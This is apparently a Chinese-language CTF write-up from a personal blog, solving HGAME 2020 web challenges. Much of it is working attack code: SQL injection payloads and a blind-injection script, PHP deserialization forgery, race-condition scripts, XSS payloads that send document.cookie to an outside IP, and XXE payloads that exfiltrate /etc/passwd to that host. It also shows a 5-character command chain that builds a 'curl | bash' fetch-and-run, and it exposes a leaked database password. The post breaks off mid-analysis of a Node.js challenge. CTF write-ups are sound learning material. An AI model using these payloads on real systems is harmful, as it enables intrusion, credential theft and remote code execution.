2020hgame web Cosmos 的博客
不过有大茄子告诉我的版本管理工具 以及 GitHub,我改起来也挺方便的。
根据提示下载.git
查看提交历史拿到flag
街头霸王 考察对http的了解
1 2 3 4 5 6 7 8 9 10 11 12 13 GET / HTTP/1.1 Host: kyaru.hgame.n3ko.co Cache-Control: no-cache Upgrade-Insecure-Requests: 1 User-Agent: Cosmos Brower Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7 referer: https://vidar.club/ x-forwarded-for: 127.0.0.1 If-Unmodified-Since: Fri, 02 Jan 2077 00:00:00 GMT Connection: close
code world burp拦截
修改GET为post
鸡你太美 拦截ajax请求,修改分数
Cosmos的博客后台 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <?php include "config.php" ;session_start(); if (DEBUG_MODE){ if (isset ($_GET ['debug' ])) { $debug = $_GET ['debug' ]; if (!preg_match("/^[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*$/" , $debug )) { die ("args error!" ); } eval ("var_dump($$debug );" ); } } if (isset ($_SESSION ['username' ])) { header("Location: admin.php" ); exit (); } else { if (isset ($_POST ['username' ]) && isset ($_POST ['password' ])) { if ($admin_password == md5($_POST ['password' ]) && $_POST ['username' ] === $admin_username ){ $_SESSION ['username' ] = $_POST ['username' ]; header("Location: admin.php" ); exit (); } else { echo "ç¨æ·åæå¯ç é误" ; } } } ?>
adminpassword: 0e114902927253523756713132279690
密码使用==来进行md5校验,找个0e开头的密码即可绕过(QNKCDZO)
adminusername: Cosmos!
index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php error_reporting(0 ); session_start(); if (isset ($_SESSION ['username' ])) { header("Location: admin.php" ); exit (); } $action = @$_GET ['action' ];$filter = "/config|etc|flag/i" ;if (isset ($_GET ['action' ]) && !empty ($_GET ['action' ])) { if (preg_match($filter , $_GET ['action' ])) { echo "Hacker get out!" ; exit (); } include $action ; } elseif (!isset ($_GET ['action' ]) || empty ($_GET ['action' ])) { header("Location: ?action=login.php" ); exit (); }
admin.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php include "config.php" ;session_start(); if (!isset ($_SESSION ['username' ])) { header('Location: index.php' ); exit (); } function insert_img ( ) { if (isset ($_POST ['img_url' ])) { $img_url = @$_POST ['img_url' ]; $url_array = parse_url($img_url ); if (@$url_array ['host' ] !== "localhost" && $url_array ['host' ] !== "timgsa.baidu.com" ) { return false ; } $c = curl_init(); curl_setopt($c , CURLOPT_URL, $img_url ); curl_setopt($c , CURLOPT_RETURNTRANSFER, 1 ); $res = curl_exec($c ); curl_close($c ); $avatar = base64_encode($res ); if (filter_var($img_url , FILTER_VALIDATE_URL)) { return $avatar ; } } else { return base64_encode(file_get_contents("static/logo.png" )); } } ?> <?php echo insert_img() ? insert_img() : base64_encode(file_get_contents("static/error.jpg" )); ?> '>
file%3A%2F%2Flocalhost%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fflag
hgame{pHp_1s_Th3_B3sT_L4nGu4gE!@!}
Cosmos的留言板-1 单引号闭合
过滤:select
黑名单:空格
1 2 3 4 5 6 7 8 0'/**/union/**/select/**/group_concat(schema_name)/**/FROM/**/information_schema.schemata# information_schema,easysql 0'/**/union/**/select/**/GROUP_CONCAT(table_name)/**/FROM/**/information_schema.tables/**/WHERE/**/TABLE_SCHEMA=database();# f1aggggggggggggg,messages# GROUP_CONCAT(column_name)/**/FROM/**/information_schema.columns/**/WHERE/**/table_name/**/=/**/'f1aggggggggggggg' fl4444444g hgame{w0w_sql_InjeCti0n_Is_S0_IntereSting!!}
Cosmos的新语言 php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 <?php function encrypt ($str ) { $result = '' ; for ($i = 0 ; $i < strlen($str ); $i ++){ $result .= chr(ord($str [$i ]) - 1 ); } return $result ; } $newcmd ='$_POST[\'token\']' ;$cmd =substr($_POST ['cmd' ],0 ,strlen($_POST ['cmd' ])-1 );preg_match("/^.*\(/U" ,$cmd ,$arr ); $cmd =substr($cmd ,strlen($arr [0 ]),strlen($cmd )-strlen($arr [0 ])-1 );while ($cmd !=='$_SERVER[\'token\']' ){ $arr =array (); preg_match("/^.*\(/U" ,$cmd ,$arr ); $newcmd =$arr [0 ].$newcmd .")" ; $cmd =substr($cmd ,strlen($arr [0 ]),strlen($cmd )-strlen($arr [0 ])-1 ); } $cmd =(str_replace("base64_encode" ,"base64_decode" ,$newcmd )); $dec =eval ("echo " .$cmd .";" );?>
python
1 2 3 4 5 6 7 8 9 10 11 12 import requestsdef get_flag (): enccmd=requests.get("http://4211e914b2.php.hgame.n3ko.co/mycode" ).text[159 :] enccmd=enccmd[:len (enccmd)-75 ] html=requests.get("http://4211e914b2.php.hgame.n3ko.co/" ).text[626 :] enc=html[:html.find("<br>" )] data={"token" :enc,"cmd" :enccmd} dec=requests.post("http://127.0.0.1/" ,data=data).text data={"token" :dec} print (requests.post("http://4211e914b2.php.hgame.n3ko.co/" ,data=data,proxies={"http" :"http://127.0.0.1:8080" }).text[626 :]) get_flag()
Cosmos的聊天室 1 <svg/onload="[]['\155\141\160']['\143\157\156\163\164\162\165\143\164\157\162']('\144\157\143\165\155\145\156\164\56\154\157\143\141\164\151\157\156\75\47\150\164\164\160\72\57\57\63\71\56\61\60\70\56\61\66\64\56\62\61\71\72\66\60\60\60\65\57\77\47\53\144\157\143\165\155\145\156\164\56\143\157\157\153\151\145')()" aa=
输入会变成大写
序列之争 - Ordinal Scale 这一题要让$_SESSION['rank']===1
时,有flag
而默认的逻辑是没法实现的
1 2 3 if ($this ->rank <= 2 ){ $this ->rank = 2 ; }
阅读代码发现反序列化点:
Monster
的__construct
方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 public function __construct ($key ) { $this ->encryptKey = $key ; if (!isset ($_COOKIE ['monster' ])){ $this ->Set(); return ; } $monsterData = base64_decode($_COOKIE ['monster' ]); if (strlen($monsterData ) > 32 ){ $sign = substr($monsterData , -32 ); $monsterData = substr($monsterData , 0 , strlen($monsterData ) - 32 ); if (md5($monsterData . $this ->encryptKey) === $sign ){ $this ->monsterData = unserialize($monsterData ); }else { session_start(); session_destroy(); setcookie('monster' , '' ); header('Location: index.php' ); exit ; } } $this ->Set(); }
但是要知道$key
才能反序列化
在Game
的__construct
方法中看到格式化字符串漏洞泄露$key
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 class Game { private $encryptKey = 'gkUFUa7GfPQui3DGUTHX6XIUS3ZAmClL' ; public $welcomeMsg = '%s, Welcome to Ordinal Scale!' ; private $sign = '' ; public $rank ; public function __construct ($playerName ) { $_SESSION ['player' ] = $playerName ; if (!isset ($_SESSION ['exp' ])){ $_SESSION ['exp' ] = 0 ; } $data = [$playerName , $this ->encryptKey]; $this ->init($data ); $this ->monster = new Monster($this ->sign); $this ->rank = new Rank(); } private function init ($data ) { foreach ($data as $key => $value ){ $this ->welcomeMsg = sprintf($this ->welcomeMsg, $value ); $this ->sign .= md5($this ->sign . $value ); } } }
可以反序列化后,我们发现Fight
的__destruct
方法可以修改$_SESSION['rank']
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public function __destruct ( ) { $this ->serverKey = $_SERVER ['key' ]; if ($this ->key === $this ->serverKey){ $_SESSION ['rank' ] = $this ->rank; }else { session_start(); session_destroy(); setcookie('monster' , '' ); header('Location: index.php' ); exit ; } }
但是还有$this->key === $this->serverKey
阻挠这我们
如果我们能获得或修改$_SERVER['key']
,便可以拿到flag了
php反序列化有个特性,反序列化时,若对象没有某个值,便会恢复成该对象对应的类的默认值
如:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php class test { public $my_static = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' ; public function __destruct ( ) { echo $this ->my_static; } } class tesa {} $a =str_replace("tesa" ,"test" ,serialize(new tesa()));unserialize($a ); 结果:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
于是构造
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 <?php class Game { private $encryptKey = 'gkUFUa7GfPQui3DGUTHX6XIUS3ZAmClL' ; public $welcomeMsg = '%s, Welcome to Ordinal Scale!' ; public $sign = '' ; public $rank ; public function __construct ($playerName ) { $_SESSION ['player' ] = $playerName ; if (!isset ($_SESSION ['exp' ])){ $_SESSION ['exp' ] = 0 ; } $data = [$playerName , $this ->encryptKey]; $this ->init($data ); } private function init ($data ) { foreach ($data as $key => $value ){ $this ->welcomeMsg = sprintf($this ->welcomeMsg, $value ); $this ->sign .= md5($this ->sign . $value ); } } } class Rank { private $rank ; public function __construct ( ) { $this ->rank=1 ; } public function __destruct ( ) { } } $s =new Rank();$a =new Game($_GET ['name' ]);$sign = md5(serialize($s ) . $a ->sign);print ( base64_encode(serialize($s ) . $sign ));?>
二发入魂 刚看到这题时是有点懵的,网页的图片是妙蛙种子,是想说交种子上去,但我没看懂/////
前一段时间爆出来的mt_srand逆向刚好可以用到
https://github.com/ambionics/mt_rand-reverse
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import requests import os burp0_url = "https://twoshot.hgame.n3ko.co:443/random.php?times=230" burp0_cookies = {"PHPSESSID" : "quh0vrim4vv8p4mnro1migluh3" } burp0_headers = {"Connection" : "close" , "Accept" : "*/*" , "X-Requested-With" : "XMLHttpRequest" , "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" , "Sec-Fetch-Site" : "same-origin" , "Sec-Fetch-Mode" : "cors" , "Referer" : "https://twoshot.hgame.n3ko.co/" , "Accept-Language" : "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7" } result=requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies).text a=eval (result) p = os.popen("python reverse_mt_rand.py %d %d 0 0" % (a[0 ],a[227 ]) ) x=p.read().strip() burp0_url = "https://twoshot.hgame.n3ko.co:443/verify.php" burp0_cookies = {"PHPSESSID" : "quh0vrim4vv8p4mnro1migluh3" } burp0_headers = {"Connection" : "close" , "Accept" : "*/*" , "X-Requested-With" : "XMLHttpRequest" , "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" , "Content-Type" : "application/x-www-form-urlencoded; charset=UTF-8" , "Origin" : "https://twoshot.hgame.n3ko.co" , "Sec-Fetch-Site" : "same-origin" , "Sec-Fetch-Mode" : "cors" , "Referer" : "https://twoshot.hgame.n3ko.co/" , "Accept-Language" : "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7" } burp0_data = {"ans" : x} print (burp0_data)result=requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data).text print (result)
Cosmos的二手市场 解法一 弱密码登陆别人账号,直接抄作业
admin,123456
解法二 条件竞争
在一次偶然的爆破中我发现,商品的数量多了,于是便猜测有条件竞争漏洞
我来模拟以下造成条件竞争漏洞的原因
首先猜测以下solve和buy方法的流程
1 2 3 4 5 6 7 function solve ( ) { }
假设web服务器在相差一个步骤的时间时收到两个请求,此时fork出两个进程a,b,设此时商品数量为1,两个请求要卖出的数量也都为1
a 执行完步骤1($num=1
);b刚要开始执行步骤1
a执行完步骤二;b执行完步骤一($num=1
)
a执行步骤三,用户账户里的钱增加了;b执行完步骤二,b进程也满足条件
a执行步骤四,此时数据库中商品的数量为0,b执行完步骤三,用户账户里的钱增加了
a进程结束;b进程试图减少数据库中商品的数量,但是数量最小为0,操作失败
b进程结束
于是我们可以看到最终结果是,用户用1单位的商品卖出了两个单位商品的价钱(1个商品被卖了两次)
为啥会这样,这是同时操作一个数据导致的bug,这也是为啥计算机里经常出现锁这个名称的原因,给数据上锁,避免两个进程同时操作一个数据,导致bug
刷钱脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 from multiprocessing import Poolimport requestsdef buy (num,loop=3 ): for i in range (loop): burp0_url = "http://121.36.88.65:9999/API/?method=buy" burp0_cookies = {"PHPSESSID" : "gd44lbha3t9ltc1cgng5c755ni" } burp0_headers = {"Pragma" : "no-cache" , "Cache-Control" : "no-cache" , "Accept" : "*/*" , "X-Requested-With" : "XMLHttpRequest" , "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" , "Content-Type" : "application/x-www-form-urlencoded; charset=UTF-8" , "Origin" : "http://121.36.88.65:9999" , "Referer" : "http://121.36.88.65:9999/market.html" , "Accept-Language" : "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7" , "Connection" : "close" } burp0_data = {"code" : "800001" , "amount" : num} result=requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data).text if "success" in result: print ("successfully buy %d items" % num) def solve (num,loop=3 ): for i in range (loop): burp0_url = "http://121.36.88.65:9999/API/?method=solve" burp0_cookies = {"PHPSESSID" : "gd44lbha3t9ltc1cgng5c755ni" } burp0_headers = {"Pragma" : "no-cache" , "Cache-Control" : "no-cache" , "Accept" : "*/*" , "X-Requested-With" : "XMLHttpRequest" , "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" , "Content-Type" : "application/x-www-form-urlencoded; charset=UTF-8" , "Origin" : "http://121.36.88.65:9999" , "Referer" : "http://121.36.88.65:9999/market.html" , "Accept-Language" : "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7" , "Connection" : "close" } burp0_data = {"code" : "800001" , "amount" : num} result=requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data).text if "success" in result: print ("successfully solve %d items" % num) if __name__=='__main__' : i=0 while True : p = Pool(100 ) num=500 for i in range (100 ): p.apply_async(buy, args=(num,)) print ('Waiting for all buy subprocesses done...' ) p.close() p.join() print ('All subprocesses done.' ) p = Pool(100 ) for i in range (100 ): p.apply_async(solve, args=(num,)) print ('Waiting for all solve subprocesses done...' ) p.close() p.join() print ('All subprocesses done.' )
留言板 注册登陆的黑名单
1 2 3 allow: ['0' , '1' , '2' , '3' , '4' , '5' , '6' , '7' , '8' , '9' , 'a' , 'b' , 'c' , 'd' , 'e' , 'f' , 'g' , 'h' , 'i' , 'j' , 'k' , 'l' , 'm' , 'n' , 'o' , 'p' , 'q' , 'r' , 's' , 't' , 'u' , 'v' , 'w' , 'x' , 'y' , 'z' , 'A' , 'B' , 'C' , 'D' , 'E' , 'F' , 'G' , 'H' , 'I' , 'J' , 'K' , 'L' , 'M' , 'N' , 'O' , 'P' , 'Q' , 'R' , 'S' , 'T' , 'U' , 'V' , 'W' , 'X' , 'Y' , 'Z' , '_' , '\n' ]disable: ['!' , '"' , '#' , '$' , '%' , '&' , "'" , '(' , ')' , '*' , '+' , ',' , '-' , '.' , '/' , ':' , ';' , '<' , '=' , '>' , '?' , '@' , '[' , '\\' , ']' , '^' , '`' , '{' , '|' , '}' , '~' , ' ' , '\t' , '\r' , '\x0b' , '\x0c' ]
一个个检测输入点发现,delete方法存在sql注入
注入脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 import requestsfrom bs4 import BeautifulSoupdef send (): burp0_url = "http://139.199.182.61:19999/index.php?method=send" burp0_cookies = {"PHPSESSID" : "ab5fgepp50bnaenppkju4md4qs" } burp0_headers = {"Cache-Control" : "max-age=0" , "Origin" : "http://139.199.182.61:19999" , "Upgrade-Insecure-Requests" : "1" , "Content-Type" : "application/x-www-form-urlencoded" , "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" , "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9" , "Referer" : "http://139.199.182.61:19999/index.php" , "Accept-Language" : "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7" , "Connection" : "close" } burp0_data = {"message" : "aaa" } res=requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data) if res.status_code==200 : return 1 else : return 0 def get_id (): burp0_url = "http://139.199.182.61:19999/index.php?message=aaa" burp0_cookies = {"PHPSESSID" : "ab5fgepp50bnaenppkju4md4qs" } burp0_headers = {"Cache-Control" : "max-age=0" , "Origin" : "http://139.199.182.61:19999" , "Upgrade-Insecure-Requests" : "1" , "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" , "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9" , "Referer" : "http://139.199.182.61:19999/index.php" , "Accept-Language" : "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7" , "Connection" : "close" } res=requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies) html = res.text try : soup = BeautifulSoup(html,'html.parser' ) url=soup.find("span" ,class_="message" ).find("a" )['href' ] except : return False return url.replace("index.php?method=delete&delete_id=" ,"" ) def check (mesid ): burp0_url = "http://139.199.182.61:19999/index.php?message=aaa" burp0_cookies = {"PHPSESSID" : "ab5fgepp50bnaenppkju4md4qs" } burp0_headers = {"Cache-Control" : "max-age=0" , "Origin" : "http://139.199.182.61:19999" , "Upgrade-Insecure-Requests" : "1" , "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" , "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9" , "Referer" : "http://139.199.182.61:19999/index.php" , "Accept-Language" : "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7" , "Connection" : "close" } res=requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies) url="index.php?method=delete&delete_id=" +str (mesid) if url in res.text: return True return False def delete (mesid ): burp0_url = "http://139.199.182.61:19999/index.php" burp0_cookies = {"PHPSESSID" : "ab5fgepp50bnaenppkju4md4qs" } burp0_headers = {"Upgrade-Insecure-Requests" : "1" , "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" , "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9" , "Referer" : "http://139.199.182.61:19999/index.php" , "Accept-Language" : "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7" , "Connection" : "close" } requests.get(burp0_url, params={"method" :"delete" ,"delete_id" :mesid},headers=burp0_headers, cookies=burp0_cookies) def sql_inj (sql ): mesid=get_id() delete(str (mesid)+" and (" +sql+") #" ) if not check(mesid): print ("%s success" % sql) send() return True print ("%s fail" % sql) return False cha="0123456789ABCDEF" result="" p=0 while True : p+=1 temp='' for i in cha: if sql_inj("(select substr(hex(group_concat(name,',',password)),%d,1) FROM user where id=1)='%s'" % (p,i) ): result+=i temp=i print (result) break if temp!=result[-1 ]: break
Cosmos的聊天室2.0 操操操,这题对我有毒,我这里不显示csp,导致我卡了很久
存在csp:
1 Content-Security-Policy: default-src 'self'; script-src 'self'
先检测一下
https://csp-evaluator.withgoogle.com/
说object-src不安全
这个策略已经ban掉了内联脚本,所以我们直接传一个js代码过去没用
我们对send方法进行检测发现,会过滤script,但是用双写就可以绕过,还会把大写转成小写
用burp代理,查看发送的请求,我们可以会注意到/send
会直接返回我们发送的内容,利用这个恰好可以绕过script-src 'self'
,
我们发送以下payload(用script标签也一样)
1 <iframe src="send?message=%3c%73%76%67%20%6f%6e%6c%6f%61%64%3d%22%61%6c%65%72%74%28%29%22%3e"></iframe>
成功弹窗,但是我们还有default-src 'self'
阻碍着我们带回数据
因为没有设置object-src
我们可以用embed
标签带回数据
最后的payload
1 2 3 4 <iframe src="send?message=<body><scscrscriptiptript> var+iframe+%3d+eval(%22document.create\105lement('embed')%22)%3b iframe.src%3d%22http%3a//39.108.164.219%3a60005/%3f%22%2bdocument.cookie%3b eval(%22document.body.append\103hild(iframe)%22)%3b</scrscrscriptiptipt></body>"></iframe>
hgame{1ts_@_$impL3_CSP_bYp4ss1ng_Ch@!!enge.}
代打出题人服务中心 一看就知道有xxe漏洞
1 2 3 4 5 6 7 8 9 10 11 12 <?xml version="1.0" ?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY % sp SYSTEM "http://39.108.164.219:60005/evil.xml"> %sp; %param1; ]> <r>&exfil;</r> File stored on http://39.108.164.219/evil.xml <!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://39.108.164.219:60005/?a=%data;'>">
submit.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <?php include "config.php" ;$result = null ;libxml_disable_entity_loader(false ); $xmlfile = file_get_contents('php://input' );try { $stmt = $conn ->prepare("INSERT INTO info (id, chal_name, bd_level, bd_time) VALUES (:id, :chal_name, :bd_level, :bd_time)" ); $stmt ->bindParam(':id' , $id ); $stmt ->bindParam(':chal_name' , $chal_name ); $stmt ->bindParam(':bd_level' , $level ); $stmt ->bindParam(':bd_time' , $level ); $dom = new DOMDocument(); $dom ->loadXML($xmlfile , LIBXML_NOENT | LIBXML_DTDLOAD); $creds = simplexml_import_dom($dom ); $id = $creds ->id; $chal_name = $creds ->name; $level = $creds ->level; $time = $creds ->time; if ($id == "" || $level == "" || $chal_name == "" || $time == "" ) { $result = sprintf("<result><code>%d</code><msg>%s</msg></result>" ,0 ,"请填写信息!" ); die ($result ); } $stmt ->execute(); $result = sprintf("<result><code>%d</code><msg>%s</msg></result>" ,1 ,"已提交成功,正在为您安排打手" ); }catch (Exception $e ){ $result = sprintf("<result><code>%d</code><msg>%s</msg></result>" ,0 ,"提交失败!" ); } header('Content-Type: text/html; charset=utf-8' ); echo $result ;?>
config.php
1 2 3 4 5 6 7 8 9 10 11 12 <?php $dbms ='mysql' ;$host ='localhost' ;$dbName ='bdctr_message' ;$user ='root' ;$pass ='yevi1gcqpqHSaOZVDI1CcRLaHHSJ5BYgImof' ;$dsn ="$dbms :host=$host ;dbname=$dbName " ;$conn = new PDO($dsn , $user , $pass , array (PDO::ATTR_PERSISTENT => true ));$conn ->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);?>
原本想着用gopher执行sql语句,但是有密码无法执行
我我我我是个dsb,明明知道可能是内网有可能由其他主机,但就是不试一下
1 2 3 4 5 6 7 8 9 10 11 12 IP address HW type Flags HW address Mask Device 172.21.0.5 0x1 0x0 00:00:00:00:00:00 * eth0 172.21.0.1 0x1 0x2 02:42:f7:6e:6f:34 * eth0 172.21.0.6 0x1 0x0 00:00:00:00:00:00 * eth0 172.21.0.2 0x1 0x0 00:00:00:00:00:00 * eth0 172.21.0.32 0x1 0x0 00:00:00:00:00:00 * eth0 172.21.0.75 0x1 0x0 00:00:00:00:00:00 * eth0 172.21.0.7 0x1 0x0 00:00:00:00:00:00 * eth0 172.21.0.76 0x1 0x2 02:42:ac:15:00:4c * eth0 172.21.0.30 0x1 0x0 00:00:00:00:00:00 * eth0 172.21.0.77 0x1 0x0 00:00:00:00:00:00 * eth0
1 2 3 4 5 6 7 8 127.0.0.1 localhost ::1 localhost ip6-localhost ip6-loopback fe00::0 ip6-localnet ff00::0 ip6-mcastprefix ff02::1 ip6-allnodes ff02::2 ip6-allrouters 172.21.0.76 hgame-private 172.21.0.31 f9f1b9b99e13
发现一个内网服务器172.21.0.76
当尝试访问80端口时,发现文件太大等一系列问题
使用libxml读取文件时,文件不能太大否则会报错
于是尝试压缩能不能读取
1 2 3 4 5 6 7 <?php error_reporting(0); file_put_contents("tmp",base64_decode(str_replace(' ','+',$_GET['a']))); $a=file_get_contents("php://filter/read=zlib.inflate/resource=tmp"); file_put_contents("mes/".date("h_m_s").".txt",$a); ?>
1 2 <!ENTITY % data SYSTEM "php://filter/zlib.deflate/convert.base64-encode/resource=http://172.21.0.76"> <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://39.108.164.219:60005/?a=%data;'>">
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 <?php error_reporting(0 ); $token = @$_GET ['token' ];if (!isset ($token )) { die ("请带上您的队伍token访问! /?token=" ); } $api = "http://checker/?token=" .$token ;$t = file_get_contents($api );if ($t !== "ok" ) { die ("队伍token错误" ); } highlight_file(__FILE__ ); $sandbox = '/var/www/html/sandbox/' . md5("hgame2020" . $token );;@mkdir($sandbox ); @chdir($sandbox ); $content = $_GET ['v' ];if (isset ($content )) { $cmd = substr($content ,0 ,5 ); system($cmd ); }else if (isset ($_GET ['r' ])) { system('rm -rf ./*' ); }
然后利用 https://err0rzz.github.io/2017/11/13/ctf%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E4%B8%8E%E7%BB%95%E8%BF%87/
的方法来执行命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 <?php $a =file_get_contents("tmp.xml" ); $command =array ( '>ls\\\\' , 'ls>_' , '>\\ \\\\' , '>-t\\\\' , '>\\>g' , 'ls>>_' , ">bash" , ">\\|\\\\" , ">5\\\\" , ">00\\\\" , ">60\\\\" , ">9:\\\\" , ">21\\\\" , ">4.\\\\" , ">16\\\\" , ">8.\\\\" , ">10\\\\" , ">9.\\\\" , ">3\\\\" , ">\\ \\\\" , ">rl\\\\" , ">cu\\\\" ); foreach ($command as $v ) { echo $v ."\n" ; $v =urlencode($v ); file_put_contents("evil.xml" ,str_replace("TGT" ,$v ,$a )); $postdata =<<<MRK <?xml version="1.0" ?> <!DOCTYPE msg [ <!ELEMENT msg ANY > <!ENTITY % sp SYSTEM "http://39.108.164.219:60005/evil.xml"> %sp; %param1; ]> <msg><id>&exfil;</id><name>b</name><level>c</level><time>d</time></msg> MRK ; $opts = array ('http' => array ( 'method' => 'POST' , 'header' => 'Content-type: application/x-www-form-urlencoded' , 'content' => $postdata ) ); $context = stream_context_create($opts ); file_get_contents("http://bdctr.hgame.day-day.work/submit.php" , false , $context ); } ?>
在经历一次rm -rf 之后,终于拿到getshell
hgame{XxE!@SsrF_4nD_f1lt3rEd_Rc3_1s_Co0l!}
sekiro 刚拿到题目的时候,我心态被第一题搞崩了,随便看了一下,就溜去打游戏了,看了wp,艹
拿到题目,是我不熟悉的nodejs
影响不大,看个大概就会了
\route\index.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 router.post('/action' , function (req, res ) { if (!req.session.sekiro) { res.end("Session required." ) } if (!req.session.sekiro.alive) { res.end("You dead." ) } var body = JSON .parse(JSON .stringify(req.body)); var copybody = clone(body) if (copybody.solution) { req.session.sekiro = Game.dealWithAttacks(req.session.sekiro, copybody.solution) } res.end("提交成功" +JSON .stringify(req.body)) })
在注释处有一个奇怪的操作,转成json再转成解析成obj
这摆明了有问题,遇到JSON.parse+merge
,思路可以往原型链污染上走一走
我们继续阅读代码
跟进dealWithAttacks
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 this .dealWithAttacks = function (sekiro, solution ) { if (sekiro.attackInfo.solution !== solution) { sekiro.health -= sekiro.attackInfo.attack if (sekiro.attackInfo.additionalEffect) { var fn = Function ("sekiro" , sekiro.attackInfo.additionalEffect + "\nreturn sekiro" ) sekiro = fn(sekiro) } } sekiro.posture = (sekiro.posture <= 500 ) ? sekiro.posture : 500 sekiro.health = (sekiro.health > 0 ) ? sekiro.health : 0 if (sekiro.posture == 500 || sekiro.health == 0 ) { sekiro.alive = false } return sekiro }
1 2 var fn = Function ("sekiro" , sekiro.attackInfo.additionalEffect + "\nreturn sekiro" ) sekiro = fn(sekiro)
明显的代码执行,如果我们能控制sekiro.attackInfo.additionalEffect
,那么便可以执行任意代码了
我们看一下sekiro.attackInfo.additionalEffect
是如何获得的
